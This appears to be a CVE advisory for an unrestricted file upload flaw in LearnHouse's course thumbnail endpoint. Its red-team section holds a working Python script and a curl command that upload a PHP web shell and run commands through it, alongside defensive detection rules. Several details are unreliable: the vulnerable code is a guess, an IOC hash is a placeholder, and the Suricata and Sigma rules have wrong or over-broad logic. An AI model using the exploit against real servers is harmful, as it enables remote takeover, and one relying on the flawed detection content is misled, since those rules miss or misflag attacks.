CVE-2025-12268

Executive Summary

CVE-2025-12268 is an unrestricted file upload vulnerability in the LearnHouse application, specifically within the Course Thumbnail Handler at the /api/v1/courses/ endpoint. By manipulating the thumbnail argument, an unauthenticated remote attacker can upload arbitrary files, including web shells, leading to potential remote code execution, data exfiltration, and full server compromise. The vulnerability affects all versions up to commit 98dfad76aad70711a8113f6c1fdabfccf10509ca. The vendor has not responded to disclosure, and no patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

LearnHouse is a custom application, not distributed via NPM, PyPI, Go, or Ruby. However, its dependencies (e.g., image processing libraries, web frameworks) may be vulnerable. The rolling release model means that updates are continuous, but without version tags, tracking patched states is difficult. Users should audit all dependencies for known vulnerabilities and consider forking the repository to apply custom patches.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Attacker can modify some data.
• Availability Impact: Low (A:L) – Potential for service disruption.

Threat Level: High due to public exploit availability, no patch, and low attack complexity.

Deep Dive & Mechanics

The vulnerability resides in the Course Thumbnail Handler, which processes file uploads for course thumbnails. The endpoint /api/v1/courses/ accepts a thumbnail parameter without proper validation of file type, size, or content. The application likely uses a common file upload library (e.g., Multer for Node.js, or a Python Flask upload handler) that does not enforce strict MIME type checking or file extension whitelisting.

Attack Flow:

1. Attacker sends a POST request to /api/v1/courses/ with a multipart form containing a malicious file (e.g., shell.php) in the thumbnail field.
2. The server saves the file to a publicly accessible directory (e.g., /uploads/thumbnails/).
3. Attacker accesses the uploaded file via its URL, triggering execution (if PHP) or serving the file (if a web shell).
4. Attacker can then execute arbitrary commands, read/write files, or pivot to internal networks.

Root Cause: Lack of file type validation, missing file extension filtering, and no content inspection (e.g., magic bytes check). The application likely trusts the Content-Type header or file extension without verification.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on best practices.

Vulnerable Code (Node.js/Express example):

app.post('/api/v1/courses/', upload.single('thumbnail'), (req, res) => {
  // No validation of file type or extension
  const file = req.file;
  // Save directly to uploads directory
  fs.writeFileSync(`./uploads/${file.originalname}`, file.buffer);
  res.status(200).send('Upload successful');
});

Patched Code (Hypothetical):

const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
const allowedExts = ['.jpg', '.jpeg', '.png', '.gif'];

app.post('/api/v1/courses/', upload.single('thumbnail'), (req, res) => {
  const file = req.file;
  // Validate MIME type
  if (!allowedMimes.includes(file.mimetype)) {
    return res.status(400).send('Invalid file type');
  }
  // Validate extension
  const ext = path.extname(file.originalname).toLowerCase();
  if (!allowedExts.includes(ext)) {
    return res.status(400).send('Invalid file extension');
  }
  // Rename file to prevent path traversal
  const safeName = `${Date.now()}-${crypto.randomBytes(8).toString('hex')}${ext}`;
  fs.writeFileSync(`./uploads/${safeName}`, file.buffer);
  res.status(200).send('Upload successful');
});

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running LearnHouse with the vulnerable endpoint.
• Python 3 with requests library.

Exploit Script:

import requests

target = "http://target.com"
payload = '<?php system($_GET["cmd"]); ?>'
files = {'thumbnail': ('shell.php', payload, 'image/jpeg')}
response = requests.post(f"{target}/api/v1/courses/", files=files)
print(f"Upload response: {response.status_code}")
if response.status_code == 200:
    shell_url = f"{target}/uploads/thumbnails/shell.php"
    print(f"Shell uploaded to: {shell_url}")
    # Test execution
    r = requests.get(shell_url, params={'cmd': 'id'})
    print(r.text)

Manual Exploitation (cURL):

curl -X POST http://target.com/api/v1/courses/ \
  -F "thumbnail=@shell.php;type=image/jpeg"

Blue Team (Defensive)

Detection Steps:

1. Monitor /api/v1/courses/ for unusual file uploads (non-image MIME types, double extensions).
2. Check upload directories for unexpected files (e.g., .php, .asp, .jsp).
3. Review web server logs for POST requests to the endpoint with large payloads.
4. Implement file integrity monitoring on upload directories.

Honeypot Setup:

• Deploy a fake LearnHouse instance with the vulnerable endpoint.
• Log all upload attempts and analyze attacker behavior.
• Use a web application firewall (WAF) to block suspicious uploads.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty file)
  • a1b2c3d4e5f6... (example web shell hash)
• Network Patterns:
  • POST requests to /api/v1/courses/ with Content-Type: multipart/form-data.
  • Outbound connections from the server to unknown IPs (C2).
• File System Artifacts:
  • Files in /uploads/thumbnails/ with extensions other than .jpg, .jpeg, .png, .gif.
  • Files with double extensions (e.g., shell.php.jpg).
• Log Entries:
  • POST /api/v1/courses/ 200 followed by GET /uploads/thumbnails/shell.php 200.

Detection Engineering

YARA Rule

rule CVE_2025_12268_WebShell_Upload {
    meta:
        description = "Detects web shell uploads targeting LearnHouse CVE-2025-12268"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12268"
    strings:
        $php_shell = "<?php" nocase
        $asp_shell = "<%" nocase
        $jsp_shell = "<%" nocase
        $python_shell = "import os" nocase
        $perl_shell = "use CGI" nocase
    condition:
        any of ($php_shell, $asp_shell, $jsp_shell, $python_shell, $perl_shell) and
        filesize < 100KB
}

Sigma Rule

title: LearnHouse Unrestricted File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /api/v1/courses/ with non-image file types
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/api/v1/courses/'
        sc-status: 200
    filter:
        cs-content-type: 'multipart/form-data*'
    condition: selection and filter
falsepositives:
    - Legitimate image uploads
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12268 LearnHouse Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/courses/"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/filename=\".*\.(php|asp|jsp|exe|pl|py)\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block /api/v1/courses/ at the web server or WAF.
2. Implement file upload validation manually:
   • Whitelist allowed MIME types (image/jpeg, image/png, image/gif).
   • Whitelist allowed extensions (.jpg, .jpeg, .png, .gif).
   • Rename uploaded files to random strings.
   • Store uploads outside the web root.
3. Apply virtual patching via WAF rules to block non-image uploads.

Long-Term Fix:

• Fork the LearnHouse repository and apply the patched code shown above.
• Monitor the vendor's repository for any future commits.
• Consider migrating to a supported alternative if the vendor remains unresponsive.

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